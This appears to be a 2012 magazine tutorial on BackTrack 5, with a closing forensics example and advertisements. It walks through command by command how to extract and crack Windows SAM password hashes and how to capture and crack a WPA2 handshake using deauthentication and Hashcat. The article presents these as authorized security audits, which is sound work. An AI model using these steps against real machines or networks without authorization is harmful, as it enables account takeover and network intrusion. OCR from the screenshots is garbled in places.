A 32-bit or 64-bit ISO works for the following exercises. For the USB installation, you need a USB flash drive at least 4GB in size. These examples show Gnome, but if you're familiar with KDE you won't have trouble following along.

UNetbootin and BackTrack

For convenience and portability, a bootable USB drive with BackTrack is a great place to start. While BackTrack comes with UNetbootin installed, we recommend downloading UNetbootin from Sourceforge.

A USB version is useful in most cases as a starting point. While you don't get the same performance as a hard drive install, you can do almost everything you can with a local hard drive installation. UNetbootin is available for Windows, Linux and Mac to create a variety of bootable USB drives including (as of this writing), BackTrack 5R1. The full installation can be found at Sourceforge (*http:// UNetbootin.sourceforge.net/*). While it will allow you to download an older distribution within UNetbootin, for these exercises we downloaded UNetbootin and at least one ISO for BackTrack 5R2.

 Image Nume:
 USACHARCHERS
 USACHARCHERS

Figure 1. BackTrack Download Page

In Figure 2, we install the BackTrack 5R2 32-bit Gnome ISO on a USB flash drive using the Diskimage option. We also install BackTrack 5R2 under VMware Fusion and on a dual-boot Windows system using an ISO image.

Post Installation Steps for Persistent Installations

After installing BackTrack to a hard drive or a persistent USB flash drive, it's a good idea to perform a quick update with apt-get update and optionally install OpenCL (or Cuda) GPU support. These steps aren't required, but provide access to the latest versions of tools and will prepare the environment for a later exercise.

Using BackTrack 5

(Not a) Legal Disclaimer

This article demonstrates techniques for using tools in the BackTrack distribution which may not be legal in all locales. Nothing in this article should be construed as legal advice, and it is important that you understand the laws applicable to your use of security tools. Within a lab environment or as part of your authorized work responsibilities, the tools within the BackTrack distribution provide an invaluable resource for auditing your organization and ensuring your resources are protected according to policy.

Auditing Windows Passwords

BackTrack->Privilege Escalation->Password Attacks->Offline Attacks->john the ripper.

In this example, we have physical access to the system we wish to audit and the ability to boot the system to our USB flash drive installation of BackTrack 5. If your target PC has a DVD drive, you can use a Live DVD. Since that's not always guaranteed, the USB installation meets our needs more frequently. You may also need to enter the computer BIOS/SETUP to configure it for USB boot.

 <u>D</u>istribution 	== Select Distribution ==	\$ ==	Select Version ==	3
Welcome to UNetb	ootin, the Universal Netboot Inst	aller. Usage	e:	
1. Select a dis	tribution and version to downloa	d from the I	ist above, or manually	specify
2. Select an in	stallation type, and press OK to I	begin instal	lina.	
Diskimage		12/BT5B2-G	NOME-32 (so)	74
 Diskimage 	150 ¢ 72-GNOME-3	12/BT5R2-G	NOME-32.iso	***
Diskimage Space used to preside the president of the president o	ISO 🗢 R2-GNOME-3	32/BT5R2-G	NOME-32.iso	

Figure 2. Installing BackTrack to a USB

Since our USB installation is non-persistent, we also need media to transfer our captured files. A second formatted USB flash drive will work.

Grabbing the Windows Password Hash

Using the USB installation of BackTrack 5 loaded earlier, we boot our target Windows 7 PC using default Text Mode. If prompted for a password, the default userid and password for BackTrack are 'root' and 'toor'. After logging in, at the #root prompt type 'startx' for the GUI.

We want to mount the Windows partition, and the easiest way to mount the internal hard drive is on the Places menu (see Figure 3).

After mounting the drive using the GUI, open a shell (command prompt) to access the windows hive directly and run the initial hash captures. On our test system, we have an account named <code>victiml</code> with a weak password. We create a temporary directory and copy the Windows hive files.

Copy the Windows SAM and SYSTEM hives

#mkdir /root/victim.win7.sixchar
#cd /media/Acer/Windows/System32/config
#cp sam system /root/victim.win7.sixchar

At this point, you can either dump the password hashes on the target machine or take copies of the hive files to another BackTrack installation to complete the password audit. If you have a second USB flash drive, insert the drive and copy the hive files. USB drives will mount under /media in most cases.

Changing BackTrack Platforms

In our example, we perform a single password extraction on a second machine running BackTrack. We could perform the same steps on the target machine, but if we're going to audit all the accounts the process may be time consuming and our target may not be the up to completing the task quickly.



Figure 3. Mounting a Windows Partition

By moving the hive files to another machine, we can run our tests off-site and leave the process running in a protected environment. In this case, we've downloaded the BackTrack 32-bit ISO and installed it under VMware Fusion.

Cracking the Windows Password

We use the same Windows hives we just copied from our target machine to audit the user password.

In our first step, we use bkhive to extract the Windows Syskey. The Syskey is used to encrypt the local password hash. In this case, we've used a six character password to limit our processing time, but the same process works for longer passwords. The output of bkhive is stored in the file sixchar.keyfile for use in the next step.

#bkhive system sixchar.keyfile

Next samdump2 extracts the password hashes from the Windows SAM file using the SAM file copied from the target machine and the sixchar.keyfile extracted using bkhive. We grep the target user hash (victim1) and store it in a temporary file named victimlpassword.

Take a quick look at the file to see the format.

#cat victim1password

victim1:1010:aad3b435b51404eeaad3b435b51404ee:8f744856b3 8f805d4fd702163532788a::

In the last step shown in Figure 4, we locate *John the Ripper* on the file system. Like the other password tools, John the Ripper is located in the /pentest/ password directory.

I	root@bt:/pentest/passwords/john
I	File Edit View Terminal Help
	root@bt:~/victim.win7.sixchar#ls -al total 17160 drwxr-xx-x 2 root root 4096 2012-05-15 21:52 . drwxr-xx-4 root root 4096 2012-05-15 21:51
	-nwr-xr-x 1 root root 17301504 2012-05-15 21:42 system root@i:-/vitim.win7.sirchar@ bkhive system sixchar.keyfile bkhive 1.1. by objectif Securite
	original author: ncuomo@studenti.unina.it
	Root Key : CMI-CreateHive(F101568E-0E87-4EFB-969E-SDA29D131144) Default ControlSet: 001 Bootkey: f609e9274eee7dcbdaadc342279b5c7d root@btvictim.win7.sixchar# sandump2 sam sixchar.keyfile grep victiml > victimlpassword sandump2 1.1.1 by Objectif Securite http://www.objectif-securite.ch original author: ncwomogstudenti.unina.it
	Root Key : CMI-CreateHive(899121E8-1108-4486-ACEB-30171305ED8C) rootBit-/victim.win7.sixchar# cst victimlpassword victim:1010.audbi35051404ecaa30143051404eca8774836436180544fd702163332788a::: rootBit-/victim.win7.sixchar# cd /pentest/passwords/lohn/ rootBit/remest/passwords/lohn# ./fordFit /rootFitim.win7.sixchar/victimlpassword Loaded 1 password hash (NT B04 [128/128.SSE2 + 32/32]) Sixer0 (rootBit) guesses 1 time: 0:00:00:13 DOME (Tue May 15 21:53:31 2012) c/s: 19015K trying: Si0vy8 - Sixeyp Use the 7how option to display all of the tracked passwords reliably rootBit/pentest/passwords/john#]

Figure 4. Cracking a Windows Password

#cd /pentest/password/john
#./john -format=nt \ /root/victim.win7.sixchar/victim1password

Since we chose a simple password, the brute force attack is successful in a short time. This crack was executed in a VMWare Fusion installation of BackTrack 5R2 32-bit.

UserID: victiml Password: Sixer6

Auditing Simple Wifi Keys

BackTrack->Privilege Escalation->Password Attacks->GPU Tools->oclhashcat+.

Now that we've warmed up with a simple Windows password, we can move on to testing a wireless network. We frequently see news stories of poorly secured wireless networks abused by neighbors and criminals. In many cases, a poorly secured network may only lead to poor network performance, but it can lead to the attention of law enforcement when misused. While recommendations and warnings may successfully encourage some users to secure their access points, sometimes a test is the only way to make the case convincingly. In this example, we use a persistent hard drive installation of Backtrack 5R2 64-bit to capture and decrypt a short wireless key. To do that, we use the following steps:

Quick WPA / WPA2 Crack

- Configure a USB wireless adapter in monitor mode
- Monitor local wireless traffic using airodump-ng
- Identify our target network BSSID and the station ID of a connected device
- · Disconnect a station
- · Capture the 4-way handshake
- · Convert the capture file to Hashcat format
- Run oclHashcat+ against the key

We again use a simple password for demonstration purposes. Because we've also used a tool with dictionary capabilities, we chose a password that's in the dictionary. We've stacked the deck in our favor to demonstrate the technique, but the same approach will work with more complex passwords.

Selecting our BackTrack Platforms

In our first example, we ran BackTrack from both a USB flash drive and a virtual machine. The common distribution allowed us to use the same tools in either environment. Neither of these installations required additional drivers or customization.

If we had no option, we could perform the following exercise using a Live DVD or USB flash drive installation,

but when it comes to cracking more complex passwords, we find GPU based tools useful. While Hashcat can run using only the CPU, it becomes more powerful when run with GPU support. Since that support requires the installation of additional drivers, this typically means a hard drive installation of BackTrack. Installation instructions for OpenCL and Cuda drivers can be found in the HOWTO section of the BackTrack website.

Selecting a Wireless Adapter

Not all wireless adapters are created equal, and in order to successfully capture the handshake we need, we must use an adapter that is capable of packet injection. For this exercise, we've used an Alfa AWUS036NEH with the rt2800usb driver. A list of NICs that work well with BackTrack and are capable of packet injection can be found in the Wireless Drivers article on the BackTrack Wiki website (*http://www.backtrack-linux.org/wiki/*).

Note that a USB wireless adapter also allows you to scan from VMware installations of BackTrack. By default, VMware will virtualize an Ethernet NIC within each virtual machine. Even if your host network adapter is wireless, the virtualized NIC will appear as a standard Ethernet connection (eth0). By adding a USB wireless adapter, you get direct access to that adapter and can run any of the wireless utilities in the BackTrack distribution.

Listening with Airodump-ng

After inserting a USB wireless adapter in the BackTrack PC, enable the wireless interface. In theory, this is a simple process. In practice, it can take some time and may require unloading and reloading the wireless adapter's kernel modules. Assuming the adapter is properly configured, identify where your USB wireless adapter is assigned using airmon-ng.

#airmon-ng

This will reveal the wlan adapter (usually wlan0 or wlan1). Next, turn the interface up, start airmon-ng and begin capturing with airodump-ng.

#ifconfig wlan0 up #airmon-ng start wlan0 #airodump-ng mon0

File Edit View Termi	inal Help										
CH 11][Elapsed:	2 mins][2012-05-2	2 18:3	9][WI	PA ha	andsha	ke: 9	4:63:D1	:24:20	6:4C	
BSSID	PWR RXQ	Beacons	#Dat	a, #/s		MB	ENC	CIPHER	AUTH	ESSID	
94:63:D1:24:26:4C	-38 100	1463	76	3 10		54	WPA2	CCMP	PSK	ezNetwork	
BSSID	STATION		PWR	Rate		ost	Fram	es Pro	be		
94:63:D1:24:26:4C	14:DA:E9	:05:00:68		0e-		128		441			
root@bt.~#∏											

Figure 5. Using airodump-ng to Monitor Wifi

ĺ	∧ ∨ × root@bt: ~	
	File Edit View Terminal Help	
	root@bt:~# aireplay-ngdeauth 10 -a 94:63:D1:24:26:4C -c 14:DA:E9:05:00:68 mon0	1
	18:38:28 Waiting for beacon frame (BSSID: 94:63:DI:24:26:4C) on channel II 18:38:28 Sending 64 directed DeAuth. STMAC: [14:DA:E9:05:00:68] [0 62 ACKS]	
	18:38:29 Sending 64 directed DeAuth. STMAC: [14:DA:E9:05:00:68] [0 61 ACKs]	
	18:38:29 Sending 64 directed DeAuth. STMAC: [14:DA:E9:05:00:68] [0 58 ACKs]	
	18:38:30 Sending 64 directed DeAuth. STMAC: [14:DA:E9:05:00:68] [40 61 ACKs]	
	18:38:31 Sending 64 directed DeAuth. STMAC: [14:DA:E9:05:00:68] [37 62 ACKs]	
	18:38:32 Sending 64 directed DeAuth. STMAC: [14:DA:E9:05:00:06] [35]64 ACKS]	
	18:38:32 Sending 64 directed DeAuth. STMAC: [14:DA:E9:05:00:68] [26]58 ACKs]	
	18:38:33 Sending 64 directed DeAuth. STMAC: [14:DA:E9:05:00:68] [38 60 ACKs]	

Figure 6. Using aireplay-ng to Disconnect a Station

The first time we run airodump-ng mon0, we see all the wireless access points within range. Looking for the column marked "CH", identify the channel of the target access point. In this case, the target network is named ezNetwork and it is on channel 11.

Stop and restart airodump-ng with the $_{-w}$ and $_{-c}$ parameters to specify the output file and ignore the other channels. Add the $_{-bssid}$ parameter with the BSSID of the target access point to eliminate all other access points.

#airodump -w ezNetwork -c 11 -bssid 94:63:D1:24:26:4C mon0

In Figure 5, we've issued the <code>airodump-ng</code> command, and are writing our output to <code>ezNetwork</code> and only monitoring on channel 11.

Notice the STATION ID of 14:DA:E9:05:00:68 connected to our target access point. This is our target for disconnect.

Mind if I Interrupt You? (Aireplay-ng)

While monitoring the airodump-ng command output, open a second command shell. In Figure 6, we see the aireplay-ng command used to disconnect the client from our target access point. The disconnect is followed by a reconnect. Our goal is to capture the 4-way handshake during the reconnect. It may be necessary to run aireplay-ng command twice to disconnect the station.

		_				-		_			_	_		_						
Filter	ea	pol													Express	on Cl	ear			
No.		Time	1			Sour	rce					Dest	inatio	n		Protocol	Length	Info		
7	985	129.	953	3922	: :	Sams	sung	gE_2	4:26	5:4c		Asus	tekC	05:00	:68	EAPOL	133	Key	(msg	1/4
93	343	149.	908	8868	1 5	ams	sun	gE 2	4:26	i:4c	- 1	Asus	tekC	05:00	1:68	EAPOL	133	Key	(msg	1/4
9	349	149.	933	3458	1	Asus	stel	kC_0	5:00	:68		Sams	ungE	24:26	i:4c	EAPOL	155	Key	(msg	2/4
93	351	149.	946	9096	1 5	ams	sun	gE 2	4:26	5:4c		Asus	tekC	05:00	:68	EAPOL	189	Key	(msg	3/4
9	353	149.	943	3698	1 4	sus	stel	kC 0	5:00	:68		Sams	ungE	24:26	5:4c	EAPOL	133	Key	(msq	4/4
Era	ате	7985	5: 1	133	by	tes	on	wir	re (1064	bit	s),	133 t	ytes	captured	(1064	bits)			
E Fri	ame FF \$	7985	5: 1 11 (133 nes	by na	tes ta	01 F1	wir ans	re (1	1064	bit	s), :	133 t	ytes	captured	(1064	bits)			
+ Fra	ame FF \$ 88 94	7985 192 1 02 1 63 1	5: 1 1 (3a (133 nos 01 24	by na 14	tes ta da 4c	on F1 69	wir ans- 05	e (1064 68 9	bit:	s), 3	133 b 24 20	ytes	captured	(1064 h.c.	bits) SGL			
+ Fra	ame 88 94 88	7985 192 1 02 1 63 0 8e 1	5: 1 3a (11 2 32 (133 nos 01 24 03	by na 14 26	tes ta da 4c 5f	00 F1 00 02	wir ans- 05 00	re (1	1064 68 9 00 a 00 1	bit: 	s), d1 03 00	133 t 24 21 80 81	ytes 6 4c 0 00	captured .c.\$&L	(1964 h.c.	bits) SGL			
+ Fra	ame 88 94 88 00	7985 197 1 02 1 63 0 8e 1 80 1	5: 1 3a (31) 92 (90)	133 noS 01 24 03 23	by na 14 26 99	tes ta da 4c 5f 31	on F1 69 00 02 e1	wir 05 00 00 e1	re (00 00 8a e9	1064 68 9 00 a 00 1 e1 6	bit: 4 63 a aa 8 00 6 e9	s), d1 03 80 9a	133 t 24 21 80 81 66 51	ytes 6 4c 0 00 6 5	captured .c.\$&L #.1	(1064 h.c.	bits) SGL			
+ Fri 000 010 020 030 040	ame 88 94 88 00 f7	798 02 63 8e 00 a0	3a 0 3a 0 31 3 92 0 90 3	133 01 24 03 23 08	by na 14 26 99 1e 82	tes ta da 4c 5f 31 88	on F1 e9 00 02 e1 25	05 00 00 00 00 00 00 00 00	e (00 8a e9 54	1064 68 9 00 a 00 1 e1 6 da b	bit: 4 63 a aa 8 00 6 e9 6 54	d1 03 00 98	133 t 24 21 00 01 66 5 b6 7	ytes 4c 000 000 65 98	captured .c.\$&L	(1064 h.c. f. f.	bits) SGL			
+ Fri + TFI 1000 1010 1020 1030 1040 1050	ame 88 94 88 60 f7 eb	7985 63 8e 80 71 71	5: 1 3a (d1 : 92 (90 : 88 (46 (133 01 24 03 23 08 00	by na 14 26 99 1e 82 90	tes ta da 4c 5f 31 88 00	e9 00 02 e1 25 00	wir 05 00 00 00 00 00 00	e (00 8a e9 54 00	1064 68 9 00 a 00 1 e1 6 da b 00 0	bit: 4 63 8 00 6 e9 6 54 0 00	s), 3 d1 03 00 9a 98 00	133 t 24 21 80 81 66 51 56 7. 80 81	ytes 4 c 0 00 6 65 9 8 0 00	captured .c.\$&L #.ī .qF	(1964 h.c. f. 5. TT.	bits) SGL			
+ Fri + TFI 0000 0010 0020 0030 0040 0050 0050 0050 0050	ame 88 94 88 94 88 60 f7 eb 80 00	7985 02 1 63 0 80 0 71 0 80 0	5: 1 3a (d1 : 92 (90 : 98 (46 (90)	133 01 24 03 23 08 00 00	by na 14 26 99 1e 82 90 99 99 99	tes ta da 4c 5f 31 88 00 00	on F1 e9 00 02 e1 25 00 00 00	wir 05 00 e1 82 00 00	re (00 00 8a e9 54 00 00	1064 68 9 00 a 00 1 e1 6 da b 00 0 00 0	bit: 4 63 a aa 8 00 6 e9 6 54 0 00 8 00	d1 03 98 98 00 00	133 t 24 20 80 80 66 5 66 5 66 7 80 80 80 80	ytes 4c 000 000 65 98 000 000	captured .c.\$&L #.1 .qF	(1064 h.c. f. f.	bits) \$6L 			
+ Fri + TFI 1000 1010 1020 1030 1040 1050 1050 1050 1050 1050	ame 88 94 88 00 f7 cb 80 00 00	7985 02 1 63 0 80 0 71 0 80 0 90 0	5: 1 3a (32 (30 (30 (30 (30 (30 (30 (30 (30	133 01 24 03 23 08 00 00 00	by na 14 26 99 1e 82 90 90 90	tes ta da 4c 5f 31 88 00 00 00	e9 00 02 e1 25 00 00 00	wir 05 00 00 e1 82 00 00 00	re (00 8a e9 54 00 00	1964 68 9 00 a 00 1 e1 6 da b 00 0 00 0	bit: 4 63 3 33 8 00 6 e9 6 54 0 00 0 00 0 00	s), 3 d1 03 00 9a 98 00 80 00	133 t 24 21 80 81 66 5 66 7 80 81 80 81 80 81	ytes 6 4c 0 00 6 5 1 98 0 00 0 00 0 00 0 00	captured .c.\$&L #.ī .qF	(1064 h.c. f. 5. TT.	bits) \$6L 			

Figure 7. Confirming the Key in Wireshark

#aireplay-ng -deauth 10 -a 94:63:D1:24:26:4C \
-c 14:DA:E9:05:00:68 mon0

The Value of a Good (4-way) Handshake

After executing <code>aireplay-ng</code>, return attention to the shell running <code>airodump-ng</code>. If we successfully disconnect our target, when it reconnects we see <code>WPA handshake: 94: 63:D1:24:26:4c</code> in the top right corner. Control-C out to end to the airodump-ng process and look for the output file. In this example, the file is <code>ezNetwork-02.cap</code>. This is a *Wireshark* compatible capture file.

To confirm we have successfully captured the 4-way handshake, open a shell and type *wireshark* or navigate the BackTrack menu.

BackTrack->Forensics->Network Forensics->wireshark We open the ezNetwork-02.cap file and in the *filter* dialog, type *eapol*. In Figure 7, we see four messages with:

Protocol:EAPOL and Info: Key (msg 1/4 through 4/4).

We have successfully captured the key.

Preparing the Capture

This capture file has the key we need, but isn't yet in a format Hashcat can read. There are two ways to convert it, using aircrack-ng or using a converter hosted at hashcat.net. For this example we will use aircrack-ng (Figure 8).

^ ∨ × root@bt: ~/getWifi	
File Edit View Terminal Help	
<pre>proot@bt:~/getWifi# aircrack-ng ezNetwork-02.cap Opening ezNetwork-02.cap</pre>	p -J ezNetwork
Read 9637 packets.	
# BSSID ESSID -	Encryption
1 94:63:D1:24:26:4C ezNetwork	WPA (1 handshake)
Choosing first network as target.	
Opening ezNetwork-02.cap Reading packets, please wait	
Building Hashcat (1.00) file	
[*] Key version: 2	
[*] BSSID: 94:63:D1:24:26:4C	
[*] anonce:	
A9 AA 65 59 AA 62 59 DF 9D F5 DF 5F F5 F5	5F 54
[*] snonce:	/F BC
3D F1 7C 8F 72 62 C5 C2 52 3D DE 19 DD 67	40 71
[*] Key MIC:	0A 39
C6 70 B0 8F DE BC AC 10 1D 9A 37 D2 4B 59	40 15
[*] eapol: 01 03 00 75 02 01 0A 00 00 00 00 00 00 00 00	00 00
00 3D F1 7C 8F 72 62 C5 C2 52 3D DE 19 DD	67 40
71 02 0B B6 23 39 3F 51 A7 16 2C 3C 2A D5 3	2F 0A
	00 00
00 00 00 00 00 00 00 00 00 00 00 00 00	00 00
00 00 16 30 14 01 00 00 0F AC 04 01 00 00 0 04 01 00 00 0F AC 02 00 00	OF AC
and an an bran bran the	nare vou ane al
Successfully written to ezNetwork.hccap	
Quitting aircrack-ng	
root@bt:~/getWifi#	V

Figure 8. Converting a Capture for Hashcat

#aircrack-ng ezNetwork-02.cap -J ezNetwork

Hashcat (CPU or GPU)

As before, we could have performed the earlier steps using any BackTrack installation method (Live, USB, VM, hard drive installation). For performance and persistence, it's usually better to execute this step on a BackTrack installation with GPU support installed. Instructions for installing GPU support can be found in the HOWTO section of BackTrack-linux.org.

Now that we have the HCCAP file, we execute the following command:

#./cudaHashcat-plus32.bin -m 2500 \ /root/getWifi/ ezNetwork.hccap \ ../wordlists/rockyou.txt -o /root/getWifi/ezNetwork.out

The BackTrack distribution comes with a word list named darkc0de.lst located in the /pentest/passwords/ wordlists directory. We've downloaded the *rockyou.txt* list linked at the BackTrack website. The '-m' parameter indicates this is a WPA/WPA2 key. The other parameters specify the hash file, a dictionary, and the output file. In Figure 9, we see the password is found in four seconds. The last line in Figure 9 shows the final output from our cudaHashcat command. While a trivial example, the same process with a dictionary and customizable rules can provide successful audits of a wide variety of passwords.

ezNetwork: P@ssword

Forensic File Recovery

Our final example demonstrates a common forensic task, capturing a drive image. As a general rule, any

│
File Edit View Terminal Help
root@bt:-# cd /pentest/passwords/oclhashcat+ root@bt:/pentest/passwords/oclhashcat+# ./cudaHashcat-plus64.bin -m 2500 /root/getWifi/ezNetwork.hccap wordlsts/rockyou.tut - 0 /root/getWifi/ezNetwork.out cudaHashcat-plus v0.07 by atom starting
Hashes: 1 Unique digests: 1 Dnique digests: 1 Bitmaps: 8 bits, 256 entries, 0x000000ff mask, 1024 bytes mules: 1 GPU-Loops: 64 GPU-Accel: 1 Platform: Widia compatible platform found matchdog: Temperature limit set to 90c Device 41: Geforce GTX 260M, 1023MB, 1250MHz, 14MCU Device 41: Geforce GTX 260M, 1023MB, 1250MHz, 14MCU Device 41: Allocating 20% host-memory Device 41: Allocating 20% host-memory Device 41: Allocating 20% host-memory Device 41: Acred L/Azerol JAB/m2500.sm 11.64.cubin
Scanning dictionary/wordlists/rockyou.txt: 130947557 bytes (93.59%), 13496970 words, 13496075 keyspa Scanned dictionary/wordlists/rockyou.txt: 139921497 bytes, 14344391 words, 14343467 keyspace, starti ng attack
Lejtatus [p]ause [r]esume [q]uit ⇒ r Resumed Status Cracked Input.Kodex PRIC (AvordLists/rockyou.txt) Hash.Type WAANMA2 Time.Kunning: 4 secs Time.Will 4681.989.77.485 Real. 5730 c/s GPU Recovered 1/1 Digest, J/1 Salts Progress 71284/14343467 (06.5%) Rejected 49780/7124 (69.03%) MM.Honitor.#1: 0% GPU, 58c Temp
Started: Tue May 22 18:56:53 2012 Stopped: Tue May 22 18:56:53 2012 rection:/period: rection:/perio

Figure 9. Cracking the Wifi Key



Figure 10. Imaging a Drive with dc3dd

forensic examination performed for legal purposes should follow stringent procedures to ensure the target drive isn't altered in any way and all evidence is handled correctly. In these circumstances, a Live DVD or a USB running Forensic Boot option will be the best choice. BackTrack's Forensic Boot provides the ability to runt BackTrack without auto-mounting disks or using existing swap space on the target drive.

For this example, we skip the forensics rigor, and capture a small USB flash drive which had several deleted JPG files.

Using DC3DD for disk imaging

Our first step is to capture an image of the drive using dc3dd. dc3dd is a a version of the *nix dd command specifically designed for forensic use. While it has many useful features, the ability to calculate hashes for images and show progress as a percentage make it valuable during a forensic drive image.

∧ ∨ × root@bt: ~/getUSB
File Edit View Terminal Help
<pre>iroot@bt:-/getUSB# mkdir /mnt/examineUSB root@bt:-/getUSB# mkdir /mnt/examineUSB/ root@bt:-/getUSB# munt /dev/sdal on / type ext4 (rw.errors=remount-ro) proc on /proc type proc (rw.noexec, nosuid, nodev) none on /sys type sysfs (rw.noexec, nosuid, nodev) none on /sys/kernel/debug type debugfs (rw) none on /sys/kernel/security type securityfs (rw) none on /dev/pts type devts (rw.noexec, nosuid, nddev) none on /dev/pts type tmpfs (rw.noexec, nosuid, nddev) none on /var/lock type tmpfs (rw.nosuid, mode=0755) none on /var/lock type tmpfs (rw.nosuid, nddev) none on /var/lock type tmpfs (rw.nosuid, ndev) noe (</pre>

Figure 11. Mounting the Image Read-Only

∧ ∨ × root@bt: ~/getUSB/foremost
File Edit View Terminal Help
<pre>root@bt:~/getUSB/foremost# mount grep USB /dev/loop0 on /mnt/examineUSB type vfat (ro) root@bt:~/getUSB/foremost# ls -l /mnt/examineUSB/ total 0 root@bt:~/getUSB/foremost# foremost -t jpg -i/lexar256.img Processing:/lexar256.img *** </pre>
<pre>root@bt:~/getUSB/foremost# ls -al output/jpg/</pre>
total 12088
drwxr-xr 2 root root 4096 2012-05-21 10:42 .
drwxr-xr 3 root root 4096 2012-05-21 10:42
-rw-rr 1 root root 1436967 2012-05-21 10:42 00002533.jpg
-rw-rr 1 root root 980300 2012-05-21 10:42 00005341.jpg
-rw-rr 1 root root 1413756 2012-05-21 10:42 00007261.jpg
-rw-rr 1 root root 865736 2012-05-21 10:42 00010029.jpg
-rw-rr 1 root root 1758719 2012-05-21 10:42 00011725.jpg
-rw-rr 1 root root 1546301 2012-05-21 10:42 00015165, ipg
-rw-rr 1 root root 1686321 2012-05-21 10:42 00018189.jpg
-rw-r1 root root 2280936 2012-05-21 10:42 00021485 ind
-rw-r 1 root root 382482 2012-05-21 10:42 00025941 ing
root@bt:-/getUSB/foremost#

Figure 12. Recovering Deleted Files with Foremost

Next, we list the files on the mounted read only image /mnt/examineUSB and find there are no files (total 0) and execute *foremost* to recover JPG files (see figure 12).

#foremost -t jpg -i ../lexar256.img

After a few seconds, the command completes and we examine the output/jpg directory to find the missing nine files. A quick check with the File Browser confirms they are the deleted images (Figure 13).

Conclusion

The BackTrack 5 distribution provides security professionals with hundreds of useful tools for common and uncommon tasks. While the importance



Figure 13. Visually Verifying Recovered Files

Figure 10 shows the process of capturing the drive image with the following command.

#dc3dd if=/dev/sdb1 of=/root/getUSB/lexar256.img

Mounting an Image for Analysis

While not necessary for file recovery, we also mount the drive as read-only to prepare for the next step. See Figure 11.

Recovering deleted files with Foremost

BackTrack-Forensics-Forensic Carving Tools->foremost of the individual tools shouldn't be overlooked, the combination of these tools on a single platform installed or run from a wide variety of media adds a crucial dimension to this kit.

While we only touched on a few tools in this demonstration, the platforms used provide a consistent base for employing the hundreds of other tools when and where you need them.

DENNIS KING

03/2012

Atola Insight

That's all you need for data recovery.

Atola Technology offers *Atola Insight* – the only data recovery device that covers the entire data recovery process: *in-depth* **HDD diagnostics**, **firmware recovery**, **HDD duplication**, and **file recovery**. It is like a whole data recovery Lab in one Tool.

This product is the best choice for seasoned professionals as well as start-up data recovery companies.

Emphasized features at a glance:

- Automatic in-depth diagnostic of all hard drive components
- Automatic firmware recovery and ATA password removal
- Very fast imaging of damaged drives
- Imaging by heads

- Case management
- Real time current monitor
- Firmware area backup system
- Serial port and power control
- Write protection switch



Visit <u>atola.com</u> for details



Cloud-based training – access content 24/7 from anywhere with ease.

Hands-on labs – gain practical experience from a "hacker's" perspective.

Constantly updated curriculum – new modules added monthly.

Direct mentoring and 1 on 1 instructor interaction.



Content covers:

- Hacking fundamentals
- Recon, network, server, client, and web pentesting
- Pentest structure
- Reverse engineering
- Digital forensics & more!

Teaches the latest offensive security techniques from beginner through cutting edge.

Are you thinking like a HACKER yet

www.thehackeracademy.com



The Hacker Academy, THA, THA Logo © MAD Security, LLC. 2012